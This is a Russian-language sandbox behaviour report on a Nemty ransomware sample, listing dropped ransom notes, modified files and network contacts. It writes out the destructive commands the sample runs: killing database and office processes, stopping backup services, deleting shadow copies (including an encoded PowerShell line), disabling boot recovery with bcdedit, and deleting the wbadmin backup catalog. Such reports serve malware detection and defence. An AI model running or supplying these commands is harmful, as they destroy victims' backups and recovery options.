Техническая информация
Для обеспечения автозапуска и распространения
Создает следующие файлы на съемном носителе
- <Имя диска съемного носителя>:\nemty_g2mjp69-decrypt.txt
- <Имя диска съемного носителя>:\correct.avi
Вредоносные функции
Для затруднения выявления своего присутствия в системе
удаляет теневые копии разделов.
Запускает на исполнение
- '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im WBGX.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im QBW32.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im node.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im virtualboxvm.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im onenote.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im excel.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im oracle.*
- '%WINDIR%\syswow64\net.exe' stop QBVSS
- '%WINDIR%\syswow64\net.exe' stop QBCFMontorService
- '%WINDIR%\syswow64\net.exe' stop cbVSCService11
- '%WINDIR%\syswow64\taskkill.exe' /f /im thunderbird.*
- '%WINDIR%\syswow64\net.exe' stop CobianBackup11
- '%WINDIR%\syswow64\net.exe' stop SQLBrowser
- '%WINDIR%\syswow64\taskkill.exe' /f /im outlook.*
- '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS
- '%WINDIR%\syswow64\net.exe' stop MongoDB
- '%WINDIR%\syswow64\taskkill.exe' /f /im wordpad.*
- '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\net.exe' stop SQLWriter
- '%WINDIR%\syswow64\taskkill.exe' /f /im winword.*
- '%WINDIR%\syswow64\net.exe' stop Apache2.4
- '%WINDIR%\syswow64\net.exe' stop AcronisAgent
- '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net.exe' stop DbxSvc
- '%WINDIR%\syswow64\taskkill.exe' /f /im Teams.*
- '%WINDIR%\syswow64\taskkill.exe' /f /im Flow.*
Читает файлы, отвечающие за хранение паролей сторонними программами
- %HOMEPATH%\desktop\000814251_video_01.avi
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\sdksampleprivdeveloper.cer
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\917b685c402c569c7ef15953ac01f631_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %ALLUSERSPROFILE%\templates\nemty_g2mjp69-decrypt.txt
- C:\users\default\nemty_g2mjp69-decrypt.txt
- C:\users\default\application data\nemty_g2mjp69-decrypt.txt
- C:\users\default\cookies\nemty_g2mjp69-decrypt.txt
- C:\users\default\desktop\nemty_g2mjp69-decrypt.txt
- C:\users\default\documents\nemty_g2mjp69-decrypt.txt
- C:\users\default\documents\my music\nemty_g2mjp69-decrypt.txt
- C:\users\default\documents\my pictures\nemty_g2mjp69-decrypt.txt
- C:\users\default\documents\my videos\nemty_g2mjp69-decrypt.txt
- C:\users\default\start menu\nemty_g2mjp69-decrypt.txt
- C:\users\default\downloads\nemty_g2mjp69-decrypt.txt
- C:\users\default\links\nemty_g2mjp69-decrypt.txt
- C:\users\default\local settings\nemty_g2mjp69-decrypt.txt
- C:\users\default\music\nemty_g2mjp69-decrypt.txt
- C:\users\default\my documents\nemty_g2mjp69-decrypt.txt
- C:\users\default\nethood\nemty_g2mjp69-decrypt.txt
- C:\users\default\pictures\nemty_g2mjp69-decrypt.txt
- C:\users\default\printhood\nemty_g2mjp69-decrypt.txt
- C:\users\default\recent\nemty_g2mjp69-decrypt.txt
- C:\users\default\saved games\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\sun\java\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\sun\java\java update\nemty_g2mjp69-decrypt.txt
- C:\users\default\favorites\nemty_g2mjp69-decrypt.txt
- C:\users\default\sendto\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{f65db027-aff3-4070-886a-0d87064aabb1}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{51adbf11-493f-431c-a862-967a0fae2944}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{615bc16d-60f5-482e-91b3-b51d8130963b}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{6c95b50e-cb5a-4a1f-a7b4-8a6004f8dd6a}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{74d0e5db-b326-4dae-a6b2-445b9de1836e}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{a2199617-3609-410f-a8e8-e8806c73545b}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{a2563e55-3bec-3828-8d67-e5e8b9e8b675}v14.0.23026\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{a2563e55-3bec-3828-8d67-e5e8b9e8b675}v14.0.23026\packages\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{a2563e55-3bec-3828-8d67-e5e8b9e8b675}v14.0.23026\packages\vcruntimeminimum_x86\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{b55f7208-e02b-4828-ac78-59c73ddf5bc7}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{bc958bd2-5dac-3862-bb1a-c1be0790438d}v14.0.23026\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{bc958bd2-5dac-3862-bb1a-c1be0790438d}v14.0.23026\packages\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{bc958bd2-5dac-3862-bb1a-c1be0790438d}v14.0.23026\packages\vcruntimeadditional_amd64\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{be960c1c-7bad-3de6-8b1a-2616fe532845}v14.0.23026\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{be960c1c-7bad-3de6-8b1a-2616fe532845}v14.0.23026\packages\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{be960c1c-7bad-3de6-8b1a-2616fe532845}v14.0.23026\packages\vcruntimeadditional_x86\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{ce085a78-074e-4823-8dc1-8a721b94b76d}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{dde2682b-961a-41ea-8d44-6005991b7947}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{e46eca4f-393b-40df-9f49-076faf788d83}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{f0080ca2-80ae-4958-b6eb-e8fa916d744a}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\start menu\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\sun\nemty_g2mjp69-decrypt.txt
- C:\perflogs\nemty_g2mjp69-decrypt.txt
- C:\users\default\templates\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\documents\my videos\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\links\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\links for united states\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\microsoft websites\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\msn websites\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\favorites\windows live\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\links\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\local settings\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\music\nemty_g2mjp69-decrypt.txt
- C:\users\default\videos\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\my documents\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\pictures\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\printhood\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\recent\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\saved games\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\searches\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\sendto\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\start menu\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\templates\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\documents\my pictures\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\documents\my music\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\downloads\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\documents\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\desktop\nemty_g2mjp69-decrypt.txt
- C:\users\default user\nemty_g2mjp69-decrypt.txt
- C:\users\public\desktop\nemty_g2mjp69-decrypt.txt
- C:\users\public\documents\nemty_g2mjp69-decrypt.txt
- C:\users\public\documents\my music\nemty_g2mjp69-decrypt.txt
- C:\users\public\documents\my pictures\nemty_g2mjp69-decrypt.txt
- C:\users\public\documents\my videos\nemty_g2mjp69-decrypt.txt
- C:\users\public\downloads\nemty_g2mjp69-decrypt.txt
- C:\users\public\favorites\nemty_g2mjp69-decrypt.txt
- C:\users\public\libraries\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{2af972c7-13b0-4978-92a8-fee26a4fb4e9}\nemty_g2mjp69-decrypt.txt
- C:\users\public\music\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{35459b22-19a6-44ec-8d34-27eb3131acac}\nemty_g2mjp69-decrypt.txt
- C:\users\public\pictures\nemty_g2mjp69-decrypt.txt
- C:\users\public\recorded tv\nemty_g2mjp69-decrypt.txt
- C:\users\public\recorded tv\sample media\nemty_g2mjp69-decrypt.txt
- C:\users\public\videos\nemty_g2mjp69-decrypt.txt
- C:\users\public\videos\sample videos\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\application data\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\contacts\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\cookies\nemty_g2mjp69-decrypt.txt
- C:\users\public\music\sample music\nemty_g2mjp69-decrypt.txt
- C:\users\public\nemty_g2mjp69-decrypt.txt
- C:\users\public\pictures\sample pictures\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{0f12c81f-93ef-46ec-bc94-d952c1a775d4}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{0d3e9e15-de7a-300b-96f1-b4af12b96488}v14.0.23026\packages\vcruntimeminimum_amd64\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{0d3e9e15-de7a-300b-96f1-b4af12b96488}v14.0.23026\packages\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\emenu\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\farcmds\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\filecase\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\ftp\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\ftp\lib\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\hlfviewer\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\macroview\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\network\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\proclist\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\tmppanel\nemty_g2mjp69-decrypt.txt
- C:\far2\pluginsdk\nemty_g2mjp69-decrypt.txt
- C:\far2\pluginsdk\headers.c\nemty_g2mjp69-decrypt.txt
- C:\far2\pluginsdk\headers.pas\nemty_g2mjp69-decrypt.txt
- <Текущая директория>\nemty_g2mjp69-decrypt.txt
- C:\msocache\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0016-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0018-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\compare\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\autowrap\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\editcase\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\brackets\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\arclite\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\shell\nemty_g2mjp69-decrypt.txt
- C:\nemty_g2mjp69-decrypt.txt
- C:\documents and settings\nemty_g2mjp69-decrypt.txt
- D:\nemty_g2mjp69-decrypt.txt
- C:\far2\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\colors\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\colors\custom_highlighting\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\colors\default_highlighting\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\macros\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\videos\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\setup\nemty_g2mjp69-decrypt.txt
- C:\far2\addons\xlat\russian\nemty_g2mjp69-decrypt.txt
- C:\far2\documentation\nemty_g2mjp69-decrypt.txt
- C:\far2\documentation\eng\nemty_g2mjp69-decrypt.txt
- C:\far2\documentation\rus\nemty_g2mjp69-decrypt.txt
- C:\far2\encyclopedia\nemty_g2mjp69-decrypt.txt
- C:\far2\encyclopedia\tap\nemty_g2mjp69-decrypt.txt
- C:\far2\fexcept\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\align\nemty_g2mjp69-decrypt.txt
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d860c3add425c732002dea04eb2c98f0_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- C:\far2\addons\xlat\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\nethood\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-001a-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.es\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\application data\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\desktop\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\documents\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\favorites\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\microsoft help\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\microsoft toolkit\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\mozilla\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\mozilla\logs\nemty_g2mjp69-decrypt.txt
- C:\far2\plugins\drawline\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\oracle\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\oracle\java\installcache_x64\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\oracle\java\javapath\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\42d5bec7ddfbd49e76467529cbc2868987bf8460\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\42d5bec7ddfbd49e76467529cbc2868987bf8460\packages\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\42d5bec7ddfbd49e76467529cbc2868987bf8460\packages\patch\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\42d5bec7ddfbd49e76467529cbc2868987bf8460\packages\patch\x64\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{01db25f3-1b76-4d97-88c8-1c90634d88fb}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\package cache\{0d3e9e15-de7a-300b-96f1-b4af12b96488}v14.0.23026\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\{291aa914-a987-4ce9-bd63-ac0a92d435e5}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\oracle\java\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\setup\{ac76ba86-7ad7-1033-7b44-ac0f074e4100}\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\setup\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\s\10428\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\s\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.fr\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0043-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0115-0409-1000-0000000ff1ce}-c\1033\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-001b-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\nemty_g2mjp69-decrypt.txt
- C:\perflogs\admin\nemty_g2mjp69-decrypt.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\nemty_g2mjp69-decrypt.txt
- C:\totalcmd\nemty_g2mjp69-decrypt.txt
- C:\totalcmd\language\nemty_g2mjp69-decrypt.txt
- C:\users\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\reader_15.007.20033\nemty_g2mjp69-decrypt.txt
- C:\msocache\all users\{90140000-002c-0409-1000-0000000ff1ce}-c\proof.en\nemty_g2mjp69-decrypt.txt
- %ALLUSERSPROFILE%\adobe\arm\reader_15.008.20082\nemty_g2mjp69-decrypt.txt
- C:\recovery\nemty_g2mjp69-decrypt.txt
- %HOMEPATH%\voip\nemty_g2mjp69-decrypt.txt
Изменяет следующие файлы
- C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg
- C:\far2\addons\colors\default_highlighting\import_colors.bat
- C:\far2\addons\colors\default_highlighting\hell.reg
- C:\far2\addons\colors\default_highlighting\greenmile.reg
- C:\far2\addons\colors\default_highlighting\farcolors242.reg
- C:\far2\addons\colors\default_highlighting\dn_like.reg
- C:\far2\addons\colors\default_highlighting\descript.ion
- C:\far2\addons\colors\default_highlighting\colors_from_sadovoj.reg
- C:\far2\addons\colors\default_highlighting\colors_from_gernichenko.reg
- C:\far2\addons\colors\default_highlighting\colors_from_admin_essp_ru.reg
- C:\far2\addons\colors\default_highlighting\black_from_myodov.reg
- C:\far2\addons\colors\default_highlighting\black_from_july.reg
- C:\far2\addons\colors\default_highlighting\black_from_fonarev.reg
- C:\far2\addons\colors\custom_highlighting\vaxcolors.reg
- C:\far2\addons\colors\custom_highlighting\rodion_doroshkevich.reg
- C:\far2\addons\colors\custom_highlighting\nc5pal2.reg
- C:\far2\addons\colors\custom_highlighting\import_colors.bat
- C:\far2\addons\colors\custom_highlighting\hell.reg
- C:\far2\addons\colors\custom_highlighting\greenmile.reg
- C:\far2\addons\colors\custom_highlighting\farcolors242.reg
- C:\far2\addons\colors\custom_highlighting\dn_like.reg
- C:\far2\addons\colors\custom_highlighting\descript.ion
- C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg
- <Имя диска съемного носителя>:\correct.avi
- C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg
- C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg
- C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg
- C:\far2\addons\colors\custom_highlighting\black_from_july.reg
- C:\far2\addons\colors\default_highlighting\nc5pal2.reg
- C:\far2\addons\colors\default_highlighting\rodion_doroshkevich.reg
Изменяет множество файлов.
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Изменяет расширения файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
Подключается к
- 'ap#.#pify.org':80
- 'ap#.#b-ip.com':80
- 'ne##y10.biz':80
TCP
Запросы HTTP GET
- http://ap#.#pify.org/
- http://ap#.#b-ip.com/v2/free/95.211.190.199/countryName
Другие
- 'ne##y10.biz':80
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ap#.#b-ip.com
- DNS ASK ne##y10.biz
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
- '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
- '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
- '%WINDIR%\syswow64\net1.exe' stop AcronisAgent
- '%WINDIR%\syswow64\net1.exe' stop Apache2.4
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
- '%WINDIR%\syswow64\net1.exe' stop DbxSvc
- '%WINDIR%\syswow64\net1.exe' stop SQLWriter
- '%WINDIR%\syswow64\net1.exe' stop MongoDB
- '%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS
- '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
- '%WINDIR%\syswow64\net1.exe' stop CobianBackup11
- '%WINDIR%\syswow64\net1.exe' stop cbVSCService11
- '%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS
- '%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete
- '%WINDIR%\syswow64\cmd.exe' /c net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=A: /on=A: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded
- '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
- '%WINDIR%\syswow64\net1.exe' stop QBCFMontorService
- '%WINDIR%\syswow64\net1.exe' stop QBVSS
